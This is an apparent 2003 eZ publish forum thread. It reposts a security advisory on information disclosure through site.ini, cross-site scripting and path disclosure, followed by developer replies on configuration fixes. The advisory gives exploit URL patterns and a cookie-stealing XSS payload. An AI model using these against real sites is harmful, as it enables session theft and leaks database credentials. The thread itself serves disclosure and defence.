Forums / Developer / Security:((((

Security:((((

Author Message

sam na

Tuesday 15 April 2003 12:22:31 pm

================================================================Security Corporation Security Advisory [SCSA-016]
Multiple vulnerabilities in Ez publish
================================================================
PROGRAM: Ez publish
HOMEPAGE: http://www.ez.no
VULNERABLE VERSIONS: 3.0 and prior ?
RISK: Medium/High
IMPACT: Sensitive information disclosure Cross Site Scripting
Path Disclosure
RELEASE DATE: 2003-04-15

Security Corporation's Free weekly Newsletter :
http://www.security-corporation.com/index.php?id=newsletter

================================================================
TABLE OF CONTENTS
================================================================
1..........................................................DESCRIPTION
2..............................................................DETAILS
3.............................................................EXPLOITS
4............................................................SOLUTIONS
5...........................................................WORKAROUND
6........................................................VENDOR STATUS
7..............................................................CREDITS
8...........................................................DISCLAIMER
9...........................................................REFERENCES
10............................................................FEEDBACK

1. DESCRIPTION
================================================================
"eZ publish 3 is an open source content management system and
development framework. "

(direct quote from http://www.ez.no)

2. DETAILS
================================================================
¤ Sensitive information disclosure :

A security vulnerability was found in Ez publish which allow
a remote attacker to access to sensitive informations such
as database's name and password.

This vulnerability can be triggered by a remote user submitting
a specially crafted HTTP request.

For example, an attacker can download the site.ini file and
disclose numerous informations like this :

---- site.ini -----

[DatabaseSettings]
DatabasePluginPath=
# Use either ezmysql or ezpostgresql
DatabaseImplementation=ezmysql
Server=localhost
User=nextgen
Password=nextgen
Database=nextgen
# Enable slave servers
# The slave servers will only be used for read queries
# Useful for load balanced environments
UseSlaveServer=disabled
#SlaveServerArray[]=localhost
#SlaverServerUser[]=nextgen
#SlaverServerPassword[]=nextgen
#SlaverServerDatabase[]=nextgen
# The number of times to reconnect if the first fails
ConnectRetries=0
Charset=iso-8859-1
# Use charset conversion routines in DB if possible
UseBuiltinEncoding=true
Socket=disabled
SQLOutput=disabled
UsePersistentConnection=disabled

[SiteSettings]
# Name of the site, will be used in default templates in titles.
SiteName=eZ publish
# URL of site, often used to link to site in emails etc.
SiteURL=mysite.com
# List of metadata to set in pagelayout
MetaDataArray[author]=eZ systems
MetaDataArray[copyright]=eZ systems
MetaDataArray[description]=Content Management System
MetaDataArray[keywords]=cms, publish, e-commerce, content management
Dir=
# Which page to show when the root index (/) is accessed
IndexPage=/content/view/sitemap/2/
# What to do when a module does not exists, use either defaultpage or
displayerror
ErrorHandler=displayerror
# Displayed if an error occurs and ErrorHandler is set to defaultpage
DefaultPage=/content/view/sitemap/2/
# Default access is needed when uri type matching is done, this is
# because with empty urls it's not possible to fetch the access
DefaultAccess=demo
# How the login page should be handled, use embedded to show inside default
pagelayout
# or custom for loginpagelayout.tpl
LoginPage=custom
# The SSL port, the default should be OK for most sites but can be
# changed if different. If the port is detect all redirects will
# be done with https protocol.
SSLPort=443

-------------------

¤ Cross Site Scripting :

Many exploitable bugs was found in Ez publish which cause script
execution on client's computer by following a crafted url.

This kind of attack known as "Cross-Site Scripting Vulnerability"
is present in many section of the web site, an attacker can input
specially crafted links and/or other malicious scripts.

¤ Path Disclosure :

Many vulnerabilities have been found in Ez publish which allow
attackers to determine the physical path of the application.

These vulnerabilities would allow a remote user to determine the
full path to the web root directory and other potentially
sensitive information. This vulnerability can be triggered by a
remote user submitting a specially crafted HTTP request.

3. EXPLOITS
======================================================================

¤ Sensitive information disclosure :

http://[target]/settings/[file_name]

For example :

http://[target]/settings/site.ini

¤ Cross Site Scripting :

http://[target]/index.php/content/search/?SectionID=3&SearchText=[hostile_co
de]

http://[target]/index.php/content/advancedsearch/?SearchText=[hostile_code]&
PhraseSearchText=[hostile_code]&SearchContentClassID=-1&SearchSectionID=-1&S
earchDate=-1&SearchButton=Search

http://[target]/index.php/[any_section]/">[hostile_code]<

http://[target]/index.php/"><script>[hostile_code]<

The hostile code could be :

[script]alert("Cookie="+document.cookie)[/script]

(open a window with the cookie of the visitor.)

(replace [] by <>)

&curren; Path Disclosure :

Numerous files of the kernel directory are affected.

http://[target]/kernel/class/delete.php

http://[target]/kernel/class/edit.php

http://[target]/kernel/class/ezcontentclassfeature.php

http://[target]/kernel/class/groupedit.php

http://[target]/kernel/class/grouplist.php

http://[target]/kernel/class/list.php

http://[target]/kernel/class/removeclass.php

http://[target]/kernel/class/removegroup.php

http://[target]/kernel/class/classlist.php

http://[target]/kernel/class/copy.php

http://[target]/kernel/classes/ezorderitem.php

http://[target]/kernel/classes/ezpersistentobject.php

http://[target]/kernel/classes/ezpolicy.php

http://[target]/kernel/classes/ezpolicylimitation.php

http://[target]/kernel/classes/ezpolicylimitationvalue.php

http://[target]/kernel/classes/ezproductcollection.php

http://[target]/kernel/classes/ezproductcollectionitem.php

http://[target]/kernel/classes/ezproductcollectionitemoption.php

http://[target]/kernel/classes/ezrole.php

http://[target]/kernel/classes/ezsearch.php

http://[target]/kernel/classes/ezsearchlog.php

...

4. SOLUTIONS
======================================================================

No solution for the moment.

5. WORKAROUND
======================================================================

&curren; Sensitive information disclosure :

We strongly urge you to use a .htaccess file for the sensitive
informations like settings files.

&curren; Cross Site Scripting :

Use the function php eregi_replace to filter the input data.

&curren; Path Disclosure :

You can fix the path disclosure problem by adding this code in
all the affected files :

-------CUT-------

error_reporting(0);

-------CUT-------

6. VENDOR STATUS
======================================================================

The vendor has reportedly been notified.

7. CREDITS
======================================================================

Discovered by Gregory Le Bras <gregory.lebras@security-corporation.com>

8. DISLAIMER
======================================================================

The information within this paper may change without notice. Use of
this information constitutes acceptance for use in an AS IS condition.
There are NO warranties with regard to this information. In no event
shall the author be liable for any damages whatsoever arising out of
or in connection with the use or spread of this information. Any use
of this information is at the user's own risk.

9. REFERENCES
======================================================================

- Original Version:
http://www.security-corporation.com/index.php?id=advisories&a=016

- Version Française:
http://www.security-corporation.com/index.php?id=advisories&a=016-FR

10. FEEDBACK
======================================================================

Please send suggestions, updates, and comments to:

Security Corporation
http://www.security-corporation.com
info@security-corporation.com

Bård Farstad

Tuesday 15 April 2003 1:38:17 pm

This security problem is related to eZ publish beein wrongly installed without virtualhost setup. You need to rename all .ini files files to .ini.php ( e.g. site.ini.php ) when running eZ publish in non virtualhost setup. If you install eZ publish with a virtualhost setup these security problems are not relavant. ( Since all requests go to index.php, except for images and stylesheets ).

The xss problem is fixed.

--bård

Documentation: http://ez.no/doc

Bård Farstad

Tuesday 15 April 2003 1:43:57 pm

Just a note on the xss problem: This is an isse with the template setup. You need to wash the output with the {"text"|wash(xhtml)} operator.

So if you have a template which prints user input, you need to be careful and always use the wash() operator.

-bård

Documentation: http://ez.no/doc

Jan Borsodi

Tuesday 15 April 2003 1:50:38 pm

See
http://ez.no/sdk/doc/view/security_standard/
for more information about security. As Bård explained non-virtual hosts setups are by default insecure and is not preferred, however it's possible to avoid such things as site.ini values being read.
One way is to have a .htaccess file for controlling file access, the other is to keep private information in the settings/override/site.ini.append.php file and wrap the contens inside a PHP comment. This is done automatically by the web setup.

Form tickets has not been implemented yet due to performance issues.

I also see this document needs to be updated ;)

--
Amos

Documentation: http://ez.no/ez_publish/documentation
FAQ: http://ez.no/ez_publish/documentation/faq

Peter Bailey

Wednesday 16 April 2003 9:52:45 am

Reading all the security stuff gave me a headache.

Thanks for the feedback on this important issue.

Does this mean even in my virtual host setup I should use site.ini instead of site.ini.php?

Bård Farstad

Wednesday 16 April 2003 10:38:25 am

When you use a virtualhost, that is with a rewrite rule, you can safely use site.ini. I normally prefer using .ini on configuration files, but you can choose this at your own likeing.

--bård

Documentation: http://ez.no/doc

Kai Duebbert

Wednesday 16 April 2003 7:30:55 pm

Well, the "site.ini" security "bug" is very badly researched of them. Otherwise they would know that the sensitive options are in /settings/override/site.ini.php which can't be compromised like this. Not even in non-virtual-hosts mode.

This is like issuing a security advisory for a default configuration file that gets distributed with a software package. Only a very wrong installation can compromise your site.ini.

The other security bug is valid though.

Kai

Karsten Jennissen

Thursday 17 April 2003 1:01:02 am

I have to agree, not very well researched. On the other hand, the issue reveals, that the .ini / .ini.php thing and its security implications is not explained clearly in the docs. I just browsed through doc/INSTALL and there is not one word on this issue. It should be in there, at least under a separate heading "Security - Important" in a form that nobody can avoid seeing. :-)

Or maybe even make a separate text file and collect the issues relating to security there.

Karsten

sam na

Thursday 17 April 2003 1:14:34 am

Dear Sirs,

My personal attitude is that security should be an essential concern in every serious web application.

As I saw this security bulletin, I forwarded it immediately to the community which was critical in my opinion.

I would suggest either to open a new forum concerning security or to develop better documentation and notification about it.

This will increase the trust relationsship between the community and EZ.

Regards,

Gabriel Ambuehl

Thursday 17 April 2003 4:05:32 am

I think it would be wise to rename the files to ini.php from begin with to avoid this kind of trouble. Its well known to be a problem, after all..

Visit http://triligon.org

Scot Wilcoxon

Tuesday 22 April 2003 10:30:55 am

May I suggest a little Apache configuration addition? The php scripts have filesystem access to the settings files, so there is no need to allow web browser access. This also avoids problems due to utilities appending to .php filenames.

<Directory YOUR_EZPUBLISH_PATH/settings/>
Order deny,allow
Deny from all
Options None
AllowOverride None
</Directory>